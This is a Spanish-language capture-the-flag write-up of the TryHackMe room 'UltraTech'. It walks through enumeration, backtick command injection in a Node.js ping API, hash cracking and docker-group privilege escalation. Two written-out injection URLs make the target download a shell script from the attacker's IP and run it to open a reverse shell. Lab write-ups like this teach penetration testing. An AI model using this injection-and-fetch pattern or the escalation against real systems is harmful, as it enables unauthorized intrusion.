Ultratech es una maquina de TryHackMe, realizamos una enumeracion a la API donde realizamos Command Injection. Encontramos hashes dentro de una base de datos que nos dieron acceso al siguiente usuario. Finalmente utilizamos Docker para escalar privilegios.
Room
Titulo | UltraTech |
---|---|
Descripción | The basics of Penetration Testing, Enumeration, Privilege Escalation and WebApp testing |
Puntos | 400 |
Dificultad | Media |
Maker |
NMAP
Escaneo de puerto tcp, en el cual nos muestra varios puertos abiertos.
|
|
WFUZZ - Puerto 8081
Utilizamos WFUZZ para encontrar directorios y archivos.
|
|
GOBUSTER - Puerto 31331
Ya que en este puerto esta corriendo el servicio de APACHE utilizamos gobuster para encontrar directorios y archivos.
|
|
WWW - Shell
Enumeramos las paginas que encontramos en el puerto 31331 y al visitar partners.html encontramos una panel de inicio de sesion.
Analizamos el codigo fuente y encontramos un archivo de javascript en el que nos muestra una ruta nueva con su parametro de la API que esta corriendo en el servicio de Node.js en el puerto 8081.
En el parametro ingresamos nuestra IP, y ejecutamos tcpdump para capturar paquetes ICMP.
Vemos que la maquina nos hace ping. Utilizamos “Command Injection” para poder ejecutar comandos, utilizamos ` (acento grave | codigo ascii 96) para “escapar” la ejecucion del comando ping. Creamos un archivo bash en el que escribimos nuestra shell inversa, en la ruta de la API ejecutamos comandos para: descargar el archivo y ejecutar el archivo.
shell.sh:
|
|
Commandos:
|
|
Ejecutamos los comandos como parametro en la URL:
view-source:http://10.10.223.47:8081/ping?ip=`wget 10.8.1.72/shell.sh -o shell.sh`
view-source:http://10.10.223.47:8081/ping?ip=`bash shell.sh`
Una vez hecho esto, logramos obtener una shell con el usuario www:
USER - r00t
Dentro de los archivos de la maquina encontramos una base de datos, la pasamos a nuestra maquina para poder ver los datos que tiene.
En la base de datos encontramos la tabla de ‘users’ en donde encontramos dos usuarios y su contraseña encriptada:
Utilizamos crackstation para crackear las hashes:
Vemos que los usuarios registrados en la maquina aparece r00t utilizamos la contraseña crackeada y logramos obtener una shell con este usuario.
FTP-SSH
De igual forma con las credenciales de r00t podemos ingresar al servicio de FTP y SSH.
PRIVILEGE ESCALATION
Una pequeña enumeracion basta para poder tener la idea de lo que debemos de hacer, en este caso encontramos que el usuario r00t pertenece al grupo de docker. Utilizamos docker para obtener una shell con el usuario root.